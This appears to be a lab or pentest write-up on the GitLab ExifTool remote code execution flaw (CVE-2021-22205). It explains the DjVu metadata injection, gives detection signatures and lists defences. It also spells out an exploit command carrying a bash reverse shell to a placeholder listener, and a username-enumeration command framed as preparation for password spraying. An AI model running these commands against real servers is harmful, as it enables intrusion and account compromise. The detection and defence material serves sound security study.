GitLab ExifTool RCE (CVE-2021-22205)

GitLab is a repository management and CI/CD platform that, given its central role in development, usually holds secrets, keys, and sensitive code. It has accumulated hundreds of CVEs, but one of the most rewarding is CVE-2021-22205: a remote code execution that stems from how GitLab processed uploaded images. Before 13.10.3, whenever an image was uploaded GitLab passed it through ExifTool to read its metadata, and a vulnerable version of ExifTool allowed command injection via a crafted DjVu file.

Mechanism

GitLab's image pipeline forwarded the uploaded file to ExifTool to extract metadata. Because ExifTool decided the type by content and not by extension, a DjVu file with a malicious annotation triggered command execution on the server. The exploit uploads that image through an upload endpoint and fires the chosen payload, for example a reverse shell:

python3 gitlab_exiftool_rce.py -t http://<ip> -u <user> -p <pass> -c 'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"'

Beforehand it is worth enumerating users: GitLab does not treat it as a vulnerability, but its response lets you tell valid accounts apart, enabling a controlled password spraying attack (it locks out by default after 10 attempts, with a 10-minute unlock):

python3 gitlab_userenum.py --url http://<ip> --wordlist <users.txt>

Requirements

In the affected versions the flaw was even exploitable unauthenticated, but the most reliable lab vector uses a valid account. If the instance allows open registration, you just create a user and launch the exploit. The key is the version: GitLab CE 13.10.2 and below (and unpatched 13.8/13.9 branches) ship the vulnerable ExifTool version.

How to detect it. On the host, the clearest signature is the exiftool process (or the GitLab worker) spawning bash, sh, or nc right after an image upload (auditd/Sysmon for Linux over execve with the worker as ppid). Application logs show the upload of a file with an image extension but a real DjVu type (the format's AT&T header), and at the network level, an immediate outbound connection from the GitLab server. A sharp GitLab version gap relative to the patch also hints at exposure.

Defence. Update GitLab to a version with patched ExifTool, disable open registration if it is not essential, restrict access to the interface, and monitor anomalous child processes of the service. Related to ExifTool command injection, file upload RCE and username enumeration.